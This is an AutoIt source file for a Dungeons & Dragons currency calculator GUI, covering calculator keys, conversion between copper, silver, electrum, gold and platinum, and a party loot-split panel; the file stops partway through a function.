clear current working numbers and reset mode to First Number ;~ - CE (Clear Entry) to Clear second or first number.. ; - Backspace to remove misclick (go one character back) -- Figure out modifier logic for this too? ;~ - Windows Calculator goes to 0 if All characters are backspaced ( goes to 0 for second number if modifier already selected.) ;~ -(windows calc will not allow you to change modifier here) ;~ - CP,SP,EP,GP,PP Buttons on the right, to add this to the total area ;~ - This resets workspace to 0 and adds the total to relevant inputbox ;~ - Maybe Grey these out until First Number Mode ;~ - Running Total Area Section for each type of Currency. ;~ - Tick box with "Exchange to GP\SP Where possible" ;~ - refresh Symbol to do above with current values (Greyed out if above unticked) ;~ - Party Split Area - ;~ - accessible for both Calculator and Converter modes ;~ - Party Members up down (max 10?) ;~ - Split button ;~ - Converter Mode - -- No need for this. You can just click the Exchange Currency up button on Calculator.. ;~ Simple Number only text boxes for each currency ;~ - Updown Multipliers for each ;~ - Tick box for "Exchange currency up where possible" #include-once #include <Array.au3> #include <EditConstants.au3> #include <ButtonConstants.au3> #include <ScrollBarsConstants.au3> #include <GuiEdit.au3> #include <GUIConstantsEx.au3> #include <WindowsConstants.au3> #include "CurrencyConverter.au3" ;~ Dim $array[2] = ["12 PP","123 CP"] ;$toConvert, $toDecimal = True, $fromDecimal = False, $debug = 0 ;_ArrayDisplay(CurrencyConverter($array,False,False,True)) #Region Global Variables $appDir = EnvGet("APPDATA") & "\Doddler's D&D\" DirCreate($appDir) $iconsIcl = $appDir & "Icons.icl" Global $firstHistory = True Global $calcMode = "First Number", $calcLastMode = "First Number" Global $numArray[10] Global $calcOnZero = True, $calcFirstNumber = 0, $calcSecondNumber, $calcModifier Global $exchangeMode = False, $convertMode = False #EndRegion Global Variables #Region File Installs FileInstall("..\Resources\Icons.icl", $appDir & "Icons.icl", 1) #EndRegion File Installs #Region Main Window Options $winTitle = "Currency Calculator" $hGui = GUICreate($winTitle, 370, 230) AutoItSetOption("GUIResizeMode", $GUI_DOCKALL) ;~ $background = GUICtrlCreatePic("Back.jpg",-10,-10,320,250) #EndRegion Main Window Options #Region Main Gui Ctrls $calcHistory = GUICtrlCreateEdit("", 10, 5, 135, 40, $ES_READONLY + $ES_RIGHT + $ES_MULTILINE + $ES_WANTRETURN + $ES_AutoVScroll + $WS_VSCROLL);BitOR($ES_READONLY, $ES_RIGHT, $ES_MULTILINE,$ES_WANTRETURN)) $calcDisplay = GUICtrlCreateInput(0, 10, 45, 135, 20, BitOR($ES_READONLY, $ES_RIGHT)) $calcBackspace = GUICtrlCreateButton("<--", 10, 70, 30) $calcClearEntry = GUICtrlCreateButton("CE", 45, 70, 30) $calcClear = GUICtrlCreateButton("C", 80, 70, 30) $calcDivide = GUICtrlCreateButton("/", 115, 70, 30) GUICtrlSetFont(-1, 12) $numArray[7] = GUICtrlCreateButton("7", 10, 100, 30) $numArray[8] = GUICtrlCreateButton("8", 45, 100, 30) $numArray[9] = GUICtrlCreateButton("9", 80, 100, 30) $calcMultiply = GUICtrlCreateButton("*", 115, 100, 30) GUICtrlSetFont(-1, 12) $numArray[4] = GUICtrlCreateButton("4", 10, 130, 30) $numArray[5] = GUICtrlCreateButton("5", 45, 130, 30) $numArray[6] = GUICtrlCreateButton("6", 80, 130, 30) $calcMinus = GUICtrlCreateButton("-", 115, 130, 30) GUICtrlSetFont(-1, 12) $numArray[1] = GUICtrlCreateButton("1", 10, 160, 30) $numArray[2] = GUICtrlCreateButton("2", 45, 160, 30) $numArray[3] = GUICtrlCreateButton("3", 80, 160, 30) $calcAdd = GUICtrlCreateButton("+", 115, 160, 30) GUICtrlSetFont(-1, 12) $numArray[0] = GUICtrlCreateButton("0", 10, 190, 65) ;~ GUICtrlCreateButton(".",45,190,30) $calcDecimal = GUICtrlCreateButton(".", 80, 190, 30) GUICtrlSetFont(-1, 16) $calcEquals = GUICtrlCreateButton("=", 115, 190, 30) GUICtrlSetFont(-1, 12) $calcCP = GUICtrlCreateButton("CP", 150, 70, 30) $calcSP = GUICtrlCreateButton("SP", 150, 100, 30) $calcEP = GUICtrlCreateButton("EP", 150, 130, 30) $calcGP = GUICtrlCreateButton("GP", 150, 160, 30) $calcPP = GUICtrlCreateButton("PP", 150, 190, 30) GUICtrlCreateIcon($iconsIcl, 2, 150, 15, 32, 32) GUICtrlSetTip(-1, "Make your calculations via the calculator" & @LF & "When a number is ready it can be added to a currency via the buttons below") #Region --- Vertical Seperator Line --- $hGraphic = GUICtrlCreateGraphic(180, 0, 20, 230) GUICtrlSetGraphic(-1, $GUI_GR_MOVE, 5, 5) GUICtrlSetGraphic(-1, $GUI_GR_LINE, 5, 225) #EndRegion --- Vertical Seperator Line --- $checkExchange = GUICtrlCreateCheckbox("Exchange currency (up to GP)", 195, 1) GUICtrlSetTip(-1, "Where possible Exchange Currency upwards" & @LF & "E.g. 111 CP = 1 GP & 1 SP & 1 CP") $checkConvert = GUICtrlCreateCheckbox("Convert input to other Currencies", 195, 20) GUICtrlSetTip(-1, "This will convert whole numbers to other currencies" & @LF & "Remainders will be lost if you change to a different currency" & @LF _ & "If there is already more than one currency in the below boxes" & @LF & "it will be converted to GP & CP and Converted to other currencies") ;~ $bCurrRefresh = GUICtrlCreateButton("", 340, 2, 24, 24, $BS_ICON) ;~ GUICtrlSetImage(-1, $iconsIcl, 5, 0) ;~ GUICtrlSetGraphic($hGraphic, $GUI_GR_MOVE, 15, 33) ;~ GUICtrlSetGraphic($hGraphic, $GUI_GR_LINE, 215, 33) $gRemainder = GUICtrlCreateLabel("Remainder", 280, 40) GUICtrlSetFont(-1, 7.5) GUICtrlSetState(-1, $GUI_HIDE) $gSplit = GUICtrlCreateLabel("Split", 340, 40) GUICtrlSetFont(-1, 7.5) GUICtrlSetState(-1, $GUI_HIDE) GUICtrlCreateLabel("CP:", 190, 60, 20, -1, $ES_RIGHT) $hCP = GUICtrlCreateInput(0, 220, 57, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) $hCPRemainder = GUICtrlCreateInput(0, 280, 57, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) GUICtrlSetState(-1, $GUI_HIDE) $hCheckCP = GUICtrlCreateCheckbox("", 345, 55, 24, 24) GUICtrlSetState(-1, $GUI_HIDE) $hResetCP = GUICtrlCreateButton("", 340, 55, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 10, 0) GUICtrlCreateLabel("SP:", 190, 90, 20, -1, $ES_RIGHT) $hSP = GUICtrlCreateInput(0, 220, 87, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) $hSPRemainder = GUICtrlCreateInput(0, 280, 87, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) GUICtrlSetState(-1, $GUI_HIDE) $hCheckSP = GUICtrlCreateCheckbox("", 345, 85, 24, 24) GUICtrlSetState(-1, $GUI_HIDE) $hResetSP = GUICtrlCreateButton("", 340, 85, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 10, 0) GUICtrlCreateLabel("EP:", 190, 120, 20, -1, $ES_RIGHT) $hEP = GUICtrlCreateInput(0, 220, 117, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) $hEPRemainder = GUICtrlCreateInput(0, 280, 117, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) GUICtrlSetState(-1, $GUI_HIDE) $hCheckEP = GUICtrlCreateCheckbox("", 345, 115, 24, 24) GUICtrlSetState(-1, $GUI_HIDE) $hResetEP = GUICtrlCreateButton("", 340, 115, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 10, 0) GUICtrlCreateLabel("GP:", 190, 150, 20, -1, $ES_RIGHT) $hGP = GUICtrlCreateInput(0, 220, 147, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) $hGPRemainder = GUICtrlCreateInput(0, 280, 147, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) GUICtrlSetState(-1, $GUI_HIDE) $hCheckGP = GUICtrlCreateCheckbox("", 345, 145, 24, 24) GUICtrlSetState(-1, $GUI_HIDE) $hResetGP = GUICtrlCreateButton("", 340, 145, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 10, 0) GUICtrlCreateLabel("PP:", 190, 180, 20, -1, $ES_RIGHT) $hPP = GUICtrlCreateInput(0, 220, 177, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) $hPPRemainder = GUICtrlCreateInput(0, 280, 177, 50, -1, BitOR($ES_READONLY, $ES_RIGHT, $ES_AUTOHSCROLL)) GUICtrlSetState(-1, $GUI_HIDE) $hCheckPP = GUICtrlCreateCheckbox("", 345, 175, 24, 24) GUICtrlSetState(-1, $GUI_HIDE) $hResetPP = GUICtrlCreateButton("", 340, 175, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 10, 0) ;~ $hLeftLabel = GUICtrlCreateLabel("Left Over:", 190,193,80,-1,$ES_RIGHT) ;~ GUICtrlSetState(-1, $GUI_HIDE) ;~ $hCurrLeftover = GUICtrlCreateInput(0, 280, 190, 50, -1, BitOR($ES_READONLY, $ES_RIGHT)) ;~ GUICtrlSetState(-1, $GUI_HIDE) $hResetAll = GUICtrlCreateButton("Clear All", 195, 209, 80, 18) ;;Arrow for extending Split Calulations $bExtend = GUICtrlCreateButton("", 340, 206, 24, 24, $BS_ICON) GUICtrlSetImage(-1, $iconsIcl, 17, 0) GUICtrlSetGraphic($hGraphic, $GUI_GR_MOVE, 190, 5) GUICtrlSetGraphic($hGraphic, $GUI_GR_LINE, 190, 225) GUICtrlCreateLabel("Group Split", 380, 5, 150) GUICtrlSetFont(-1, 12, 700) ;~ GUICtrlCreateLabel("Current Total: ", 380, 40, 70, -1, $ES_RIGHT) ;~ GUICtrlCreateInput("", 455, 37, 80, 60, BitOR($ES_MULTILINE, $WS_VSCROLL, $ES_READONLY)) GUICtrlCreateLabel("Party Members:", 375, 30, 75, -1, $ES_RIGHT) $hPartyMembers = GUICtrlCreateInput(2, 455, 27, 60, -1, BitOR($ES_NUMBER, $ES_READONLY, $ES_RIGHT)) $hPartyUpDown = GUICtrlCreateUpdown(-1) GUICtrlSetLimit(-1, 10, 2) GUICtrlCreateLabel("Individual Cut:", 375, 55, 75, -1, $ES_RIGHT) $hIndivdualCut = GUICtrlCreateEdit("", 455, 52, 80, 80, BitOR($ES_MULTILINE, $ES_WANTRETURN, $ES_READONLY, $WS_VSCROLL));$WS_VSCROLL, $WS_VSCROLL, GUICtrlCreateLabel("Left over:", 375, 140, 75, -1, $ES_RIGHT) $hLeftOver = GUICtrlCreateEdit("", 455, 137, 80, 80, $ES_MULTILINE + $ES_WANTRETURN + $ES_READONLY + $WS_VSCROLL) #EndRegion Main Gui Ctrls ;~ GUICtrlSetState($background,$GUI_Disable) $GuiPos = WinGetClientSize($hGui) GUISetState() $GuiBorder = WinGetPos($hGui) $GuiBorder[2] -= $GuiPos[0] $GuiBorder[3] -= $GuiPos[1] Local $accelKeys[33][2] = [["{NUMPADDOT}", $calcDecimal], ["{NUMPADMULT}", $calcMultiply], ["{NUMPADSUB}", $calcMinus], ["{NUMPADADD}", $calcAdd], ["{NUMPADDIV}", $calcDivide], ["{NUMPAD0}", $numArray[0]], ["{NUMPAD1}", $numArray[1]], ["{NUMPAD2}", $numArray[2]], ["{NUMPAD3}", $numArray[3]], ["{NUMPAD4}", $numArray[4]], ["{NUMPAD5}", $numArray[5]], ["{NUMPAD6}", $numArray[6]], ["{NUMPAD7}", $numArray[7]], ["{NUMPAD8}", $numArray[8]], ["{NUMPAD9}", $numArray[9]], ["{ENTER}", $calcEquals], ["{BACKSPACE}", $calcBackspace], ["{DELETE}", $calcClear], ["{c}", $calcCP], ["{s}", $calcSP], ["{e}", $calcEP], ["{g}", $calcGP], ["{p}", $calcPP], ["{1}", $numArray[1]], ["{2}", $numArray[2]], ["{3}", $numArray[3]], ["{4}", $numArray[4]], ["{5}", $numArray[5]], ["{6}", $numArray[6]], ["{7}", $numArray[7]], ["{8}", $numArray[8]], ["{9}", $numArray[9]], ["{0}", $numArray[0]]] ;~ Local $numpadAccel[15][2] = [;;Above is required to be in the same Array for some reason? ;~ Local $variousAccel[8][2] = [] ;~ Local $numModifiers[4][2] = [] ;~ GUISetAccelerators($numModifiers) GUISetAccelerators($accelKeys) While 1 $msg = GUIGetMsg(1) Switch $msg[1] Case $hGui Switch $msg[0] Case $GUI_EVENT_CLOSE ExitLoop Case $bExtend $GuiPos = WinGetClientSize($hGui) If $GuiPos[0] = 560 Then ;If Large form factor change to small WinMove($winTitle, "", Default, Default, 370 + $GuiBorder[2], 230 + $GuiBorder[3]) Else ; Else if small form factor change to large.. WinMove($winTitle, "", Default, Default, 560 + $GuiBorder[2], 230 + $GuiBorder[3]) EndIf ;ConsoleWrite($GuiPos[0] &@LF & $GuiPos[1] &@LF) Case $calcAdd ModifierPressed("+") Case $calcMultiply ModifierPressed("*") Case $calcMinus ModifierPressed("-") Case $calcDivide ModifierPressed("/") Case $calcEquals Calculate() Case $calcCP If $calcMode = "Second Number" Then Calculate() If $convertMode Then ConsoleWrite("Test &@LF" & @LF) GUICtrlSetData($hCP, GUICtrlRead($hCP) + $calcFirstNumber) SplitUpdate(False, $calcCP, $calcFirstNumber) _Convert($calcCP) Else CurrencyAdd($msg[0], $calcFirstNumber) EndIf $calcOnZero = True $calcFirstNumber = 0 GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $calcSP If $calcMode = "Second Number" Then Calculate() If $convertMode Then GUICtrlSetData($hSP, GUICtrlRead($hSP) + $calcFirstNumber) SplitUpdate(False, $calcSP, $calcFirstNumber) _Convert($calcSP) Else CurrencyAdd($msg[0], $calcFirstNumber) EndIf $calcOnZero = True $calcFirstNumber = 0 GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $calcEP If $calcMode = "Second Number" Then Calculate() If $convertMode Then GUICtrlSetData($hEP, GUICtrlRead($hEP) + $calcFirstNumber) SplitUpdate(False, $calcEP, $calcFirstNumber) _Convert($calcEP) Else CurrencyAdd($msg[0], $calcFirstNumber) EndIf $calcOnZero = True $calcFirstNumber = 0 GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $calcGP If $calcMode = "Second Number" Then Calculate() If $convertMode Then GUICtrlSetData($hGP, GUICtrlRead($hGP) + $calcFirstNumber) SplitUpdate(False, $calcGP, $calcFirstNumber) _Convert($calcGP) Else CurrencyAdd($msg[0], $calcFirstNumber) EndIf $calcOnZero = True $calcFirstNumber = 0 GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $calcPP If $calcMode = "Second Number" Then Calculate() If $convertMode Then GUICtrlSetData($hPP, GUICtrlRead($hPP) + $calcFirstNumber) SplitUpdate(False, $calcPP, $calcFirstNumber) _Convert($calcPP) Else CurrencyAdd($msg[0], $calcFirstNumber) EndIf $calcOnZero = True $calcFirstNumber = 0 GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $hResetAll GUICtrlSetData($hCP, 0) GUICtrlSetData($hSP, 0) GUICtrlSetData($hEP, 0) GUICtrlSetData($hGP, 0) GUICtrlSetData($hPP, 0) GUICtrlSetData($hCPRemainder, 0) GUICtrlSetData($hSPRemainder, 0) GUICtrlSetData($hEPRemainder, 0) GUICtrlSetData($hGPRemainder, 0) GUICtrlSetData($hPPRemainder, 0) SplitUpdate() Case $hResetCP GUICtrlSetData($hCP, 0) SplitUpdate() Case $hResetSP GUICtrlSetData($hSP, 0) SplitUpdate() Case $hResetEP GUICtrlSetData($hEP, 0) SplitUpdate() Case $hResetGP GUICtrlSetData($hGP, 0) SplitUpdate() Case $hResetPP GUICtrlSetData($hPP, 0) SplitUpdate() Case $checkExchange if GUICtrlread($checkConvert) = $GUI_CHECKED Then CurrencyAdd($calcCP,0,1) SplitUpdate() Else CurrencyAdd($calcCP) EndIf _GUI_ExchangeConvert($msg[0]) Case $checkConvert ;;;; -- Allow this to check wahts already in the field and convert it at Gold\Copper rates (So its always divisible..) _GUI_ExchangeConvert($msg[0]) If $convertMode Then Select Case GUICtrlRead($hCheckCP) = $GUI_CHECKED SplitUpdate(False, $calcCP) Case GUICtrlRead($hCheckSP) = $GUI_CHECKED SplitUpdate(False, $calcSP) Case GUICtrlRead($hCheckEP) = $GUI_CHECKED SplitUpdate(False, $calcEP) Case GUICtrlRead($hCheckGP) = $GUI_CHECKED SplitUpdate(False, $calcGP) Case GUICtrlRead($hCheckPP) = $GUI_CHECKED SplitUpdate(False, $calcPP) EndSelect EndIf Case $hCheckCP _ConvertCheckboxes($calcCP) SplitUpdate(False, $calcCP) Case $hCheckSP _ConvertCheckboxes($calcSP) SplitUpdate(False, $calcSP) Case $hCheckEP _ConvertCheckboxes($calcEP) SplitUpdate(False, $calcEP) Case $hCheckGP _ConvertCheckboxes($calcGP) SplitUpdate(False, $calcGP) Case $hCheckPP _ConvertCheckboxes($calcPP) SplitUpdate(False, $calcPP) Case $hPartyUpDown If $convertMode Then Select Case GUICtrlRead($hCheckCP) = $GUI_CHECKED SplitUpdate(False, $calcCP) Case GUICtrlRead($hCheckSP) = $GUI_CHECKED SplitUpdate(False, $calcSP) Case GUICtrlRead($hCheckEP) = $GUI_CHECKED SplitUpdate(False, $calcEP) Case GUICtrlRead($hCheckGP) = $GUI_CHECKED SplitUpdate(False, $calcGP) Case GUICtrlRead($hCheckPP) = $GUI_CHECKED SplitUpdate(False, $calcPP) EndSelect Else SplitUpdate(False) EndIf Case $calcClearEntry Switch $calcMode Case "First Number" $calcFirstNumber = 0 $calcOnZero = True GUICtrlSetData($calcDisplay, $calcFirstNumber) Case "Modifier" $calcMode = "First Number" GUICtrlSetData($calcDisplay, $calcFirstNumber) Case "Second Number" $calcMode = "Modifier" $calcSecondNumber = "" GUICtrlSetData($calcDisplay, $calcFirstNumber & $calcModifier) EndSwitch Case $calcClear $calcFirstNumber = 0 $calcOnZero = True $calcMode = "First Number" $calcModifier = "" $calcSecondNumber = "" GUICtrlSetData($calcHistory, "") $firstHistory = True GUICtrlSetData($calcDisplay, $calcFirstNumber) Case $calcBackspace Switch $calcMode Case "First Number" If $calcOnZero Then If $calcFirstNumber <> 0 Then $calcFirstNumber = StringLeft($calcFirstNumber, StringLen($calcFirstNumber) - 1) $calcOnZero = False EndIf Else $calcFirstNumber = StringLeft($calcFirstNumber, StringLen($calcFirstNumber) - 1) EndIf If $calcFirstNumber = "" Then $calcFirstNumber = 0 $calcOnZero = True EndIf GUICtrlSetData($calcDisplay, $calcFirstNumber) Case "Modifier" $calcMode = "First Number" GUICtrlSetData($calcDisplay, $calcFirstNumber) Case "Second Number" $calcSecondNumber = StringLeft($calcSecondNumber, StringLen($calcSecondNumber) - 1) If $calcSecondNumber = "" Then $calcMode = "Modifier" GUICtrlSetData($calcDisplay, $calcFirstNumber & $calcModifier) Else GUICtrlSetData($calcDisplay, $calcFirstNumber & $calcModifier & $calcSecondNumber) EndIf EndSwitch Case $calcDecimal Switch $calcMode Case "First Number" If $calcOnZero Then GUICtrlSetData($calcDisplay, ".") $calcOnZero = False $calcFirstNumber = "." $calcSecondNumber = "" $calcModifier = "" Else $calcFirstNumber &= "." GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & ".") EndIf Case "Modifier" $calcMode = "Second Number" $calcSecondNumber = "." GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & ".") Case "Second Number" $calcSecondNumber &= "." GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & ".") EndSwitch EndSwitch For $a = 0 To 9 If $msg[0] = $numArray[$a] Then ;~ if $calcOnZero Then ;~ GUICtrlSetData($calcDisplay, $a) ;~ $calcOnZero = False ;~ Else ;~ GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & $a) ;~ EndIf Switch $calcMode Case "First Number" If $calcOnZero Then GUICtrlSetData($calcDisplay, $a) $calcOnZero = False $calcFirstNumber = $a $calcSecondNumber = "" $calcModifier = "" Else $calcFirstNumber &= $a GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & $a) EndIf Case "Modifier" $calcMode = "Second Number" $calcSecondNumber = $a GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & $a) Case "Second Number" $calcSecondNumber &= $a GUICtrlSetData($calcDisplay, GUICtrlRead($calcDisplay) & $a) EndSwitch EndIf Next EndSwitch If $calcMode <> $calcLastMode Then CheckMode() Sleep(10) WEnd Func ReturnCurrency($iString) Select Case StringInStr($iString, "CP") Dim $iArray[2] = ["CP", 100] Return $iArray Case StringInStr($iString, "SP") Dim $iArray[2] = ["SP", 10] Return $iArray Case StringInStr($iString, "EP") Dim $iArray[2] = ["EP", 2] Return $iArray Case StringInStr($iString, "GP") Dim $iArray[2] = ["GP", 1] Return $iArray Case StringInStr($iString, "PP") Dim $iArray[2] = ["PP", .1] Return $iArray EndSelect EndFunc ;==>ReturnCurrency Func _Convert($iCurr) GUICtrlSetData($hCPRemainder, 0) GUICtrlSetData($hSPRemainder, 0) GUICtrlSetData($hEPRemainder, 0) GUICtrlSetData($hGPRemainder, 0) GUICtrlSetData($hPPRemainder, 0) Switch $iCurr Case $calcCP $iDecimal = CurrencyConverter(GUICtrlRead($hCP) & " CP") $iDecimal = $iDecimal[0] * 100 GUICtrlSetData($hSP, Int($iDecimal / 10)) If Mod($iDecimal, 10) <> 0 Then GUICtrlSetData($hSPRemainder, Mod($iDecimal, 10) & " CP") GUICtrlSetData($hEP, Int($iDecimal / 50)) If Mod($iDecimal, 50) <> 0 Then GUICtrlSetData($hEPRemainder, Mod($iDecimal, 50) & " CP") GUICtrlSetData($hGP, Int($iDecimal / 100)) If Mod($iDecimal, 100) <> 0 Then GUICtrlSetData($hGPRemainder, Mod($iDecimal, 100) & " CP") GUICtrlSetData($hPP, Int($iDecimal / 1000)) If Mod($iDecimal, 1000) <> 0 Then GUICtrlSetData($hPPRemainder, Mod($iDecimal, 1000) & " CP") Case $calcSP $iDecimal = CurrencyConverter(GUICtrlRead($hSP) & " SP") $iDecimal = $iDecimal[0] * 10 GUICtrlSetData($hCP, Int($iDecimal * 10)) ;GUICtrlSetData($hCPRemainder,Mod($iDecimal,10)& " CP") GUICtrlSetData($hEP, Int($iDecimal / 5)) If Mod($iDecimal, 5) <> 0 Then GUICtrlSetData($hEPRemainder, Mod($iDecimal, 5) & " SP") GUICtrlSetData($hGP, Int($iDecimal / 10)) If Mod($iDecimal, 100) <> 0 Then GUICtrlSetData($hGPRemainder, Mod($iDecimal, 10) & " SP") GUICtrlSetData($hPP, Int($iDecimal / 100)) If Mod($iDecimal, 100) <> 0 Then GUICtrlSetData($hPPRemainder, Mod($iDecimal, 100) & " SP") Case $calcEP $iDecimal = CurrencyConverter(GUICtrlRead($hEP) & " EP") $iDecimal = $iDecimal[0] * 2 GUICtrlSetData($hCP, Int($iDecimal * 50)) GUICtrlSetData($hSP, Int($iDecimal * 5)) GUICtrlSetData($hGP, Int($iDecimal / 2)) If Mod($iDecimal, 2) <> 0 Then GUICtrlSetData($hGPRemainder, Mod($iDecimal, 2) & " EP") GUICtrlSetData($hPP, Int($iDecimal / 20)) If Mod($iDecimal, 20) <> 0 Then GUICtrlSetData($hPPRemainder, Mod($iDecimal, 20) & " EP") Case $calcGP $iDecimal = CurrencyConverter(GUICtrlRead($hGP) & " GP") $iDecimal = $iDecimal[0] GUICtrlSetData($hCP, Int($iDecimal * 100)) GUICtrlSetData($hSP, Int($iDecimal * 10)) GUICtrlSetData($hEP, Int($iDecimal * 2)) GUICtrlSetData($hPP, Int($iDecimal / 10)) If Mod($iDecimal, 10) <> 0 Then GUICtrlSetData($hPPRemainder, Mod($iDecimal, 10) & " GP") Case $calcPP $iDecimal = CurrencyConverter(GUICtrlRead($hPP) & " PP", True, False, 1) $iDecimal = $iDecimal[0] GUICtrlSetData($hCP, Int($iDecimal * 100)) GUICtrlSetData($hSP, Int($iDecimal * 10)) GUICtrlSetData($hEP, Int($iDecimal * 2)) GUICtrlSetData($hGP, Int($iDecimal)) EndSwitch _ConvertCheckboxes($iCurr) EndFunc ;==>_Convert Func _GUI_ExchangeConvert($iMsg) $clear = False Switch $iMsg Case $checkExchange If GUICtrlRead($checkExchange) = $GUI_CHECKED Then if GUICtrlread($checkConvert) = $GUI_CHECKED Then $clear = True GUICtrlSetState($checkConvert, $GUI_UNCHECKED) $exchangeMode = True $convertMode = False Else $exchangeMode = False EndIf Case $checkConvert If GUICtrlRead($checkConvert) = $GUI_CHECKED Then GUICtrlSetState($checkExchange, $GUI_UNCHECKED) $exchangeMode = False $convertMode = True Else GUICtrlSetData($hSP,0) GUICtrlSetData($hEP,0) GUICtrlSetData($hGP,0) GUICtrlSetData($hPP,0) $convertMode = False $clear = True EndIf EndSwitch Switch $convertMode Case True GUICtrlSetState($hCPRemainder, $GUI_SHOW) GUICtrlSetState($hSPRemainder, $GUI_SHOW) GUICtrlSetState($hEPRemainder, $GUI_SHOW) GUICtrlSetState($hGPRemainder, $GUI_SHOW) GUICtrlSetState($hPPRemainder, $GUI_SHOW) GUICtrlSetState($hCheckCP, $GUI_SHOW) GUICtrlSetState($hCheckSP, $GUI_SHOW) GUICtrlSetState($hCheckEP, $GUI_SHOW) GUICtrlSetState($hCheckGP, $GUI_SHOW) GUICtrlSetState($hCheckPP, $GUI_SHOW) GUICtrlSetState($gRemainder, $GUI_SHOW) GUICtrlSetState($gSplit, $GUI_SHOW) GUICtrlSetState($hResetCP, $GUI_HIDE) GUICtrlSetState($hResetSP, $GUI_HIDE) GUICtrlSetState($hResetEP, $GUI_HIDE) GUICtrlSetState($hResetGP, $GUI_HIDE) GUICtrlSetState($hResetPP, $GUI_HIDE) Dim $conversion[5][2] $icount = 0 If GUICtrlRead($hCP) <> 0 Then $conversion[$icount][0] = GUICtrlRead($hCP) & " CP" $conversion[$icount][1] = $calcCP $icount += 1 EndIf If GUICtrlRead($hSP) <> 0 Then $conversion[$icount][0] = GUICtrlRead($hSP) & " SP" $conversion[$icount][1] = $calcSP $icount += 1 EndIf If GUICtrlRead($hEP) <> 0 Then $conversion[$icount][0] = GUICtrlRead($hEP) & " EP" $conversion[$icount][1] = $calcEP $icount += 1 EndIf If GUICtrlRead($hGP) <> 0 Then $conversion[$icount][0] = GUICtrlRead($hGP) & " GP" $conversion[$icount][1] = $calcGP $icount += 1 EndIf If GUICtrlRead($hPP) <> 0 Then $conversion[$icount][0] = GUICtrlRead($hPP) & " PP" $conversion[$icount][1] = $calcPP $icount += 1 EndIf Switch $icount Case 1 _Convert($conversion[0][1]) Case 2 To 5 Dim $convArray[$icount] For $i = 0 To $icount - 1 $convArray[$i] = $conversion[$i][0] Next $iDecimal = CurrencyConverter($convArray) $iDecimal = $iDecimal[0] * 100 GUICtrlSetData($hCP, Int($iDecimal)) GUICtrlSetData($hSP, Int($iDecimal / 10)) If Mod($iDecimal, 10) <> 0 Then GUICtrlSetData($hSPRemainder, Round(Mod($iDecimal, 10),2) & " CP") GUICtrlSetData($hEP, Int($iDecimal / 50)) If Mod($iDecimal, 50) <> 0 Then GUICtrlSetData($hEPRemainder, Round(Mod($iDecimal, 50),2) & " CP") GUICtrlSetData($hGP, Int($iDecimal / 100)) If Mod($iDecimal, 100) <> 0 Then GUICtrlSetData($hGPRemainder, Round(Mod($iDecimal, 100),2) & " CP") GUICtrlSetData($hPP, Int($iDecimal / 1000)) If Mod($iDecimal, 100) <> 0 Then GUICtrlSetData($hPPRemainder, Round(Mod($iDecimal, 100),2) & " CP") EndSwitch Case False GUICtrlSetState($hCPRemainder, $GUI_HIDE) GUICtrlSetState($hSPRemainder, $GUI_HIDE) GUICtrlSetState($hEPRemainder, $GUI_HIDE) GUICtrlSetState($hGPRemainder, $GUI_HIDE) GUICtrlSetState($hPPRemainder, $GUI_HIDE) GUICtrlSetState($hCheckCP, $GUI_HIDE) GUICtrlSetState($hCheckSP, $GUI_HIDE) GUICtrlSetState($hCheckEP, $GUI_HIDE) GUICtrlSetState($hCheckGP, $GUI_HIDE) GUICtrlSetState($hCheckPP, $GUI_HIDE) GUICtrlSetState($gRemainder, $GUI_HIDE) GUICtrlSetState($gSplit, $GUI_HIDE) GUICtrlSetState($hResetCP, $GUI_SHOW) GUICtrlSetState($hResetSP, $GUI_SHOW) GUICtrlSetState($hResetEP, $GUI_SHOW) GUICtrlSetState($hResetGP, $GUI_SHOW) GUICtrlSetState($hResetPP, $GUI_SHOW) EndSwitch EndFunc ;==>_GUI_ExchangeConvert Func _ConvertCheckboxes($iMsg) Switch $iMsg Case $calcCP GUICtrlSetState($hCheckCP, $GUI_CHECKED) GUICtrlSetState($hCheckSP, $GUI_UNCHECKED) GUICtrlSetState($hCheckEP, $GUI_UNCHECKED) GUICtrlSetState($hCheckGP, $GUI_UNCHECKED) GUICtrlSetState($hCheckPP, $GUI_UNCHECKED) Case $calcSP GUICtrlSetState($hCheckCP, $GUI_UNCHECKED) GUICtrlSetState($hCheckSP, $GUI_CHECKED) GUICtrlSetState($hCheckEP, $GUI_UNCHECKED) GUICtrlSetState($hCheckGP, $GUI_UNCHECKED) GUICtrlSetState($hCheckPP, $GUI_UNCHECKED) Case $calcEP GUICtrlSetState($hCheckCP, $GUI_UNCHECKED) GUICtrlSetState($hCheckSP, $GUI_UNCHECKED) GUICtrlSetState($hCheckEP, $GUI_CHECKED) GUICtrlSetState($hCheckGP, $GUI_UNCHECKED) GUICtrlSetState($hCheckPP, $GUI_UNCHECKED) Case $calcGP GUICtrlSetState($hCheckCP, $GUI_UNCHECKED) GUICtrlSetState($hCheckSP, $GUI_UNCHECKED) 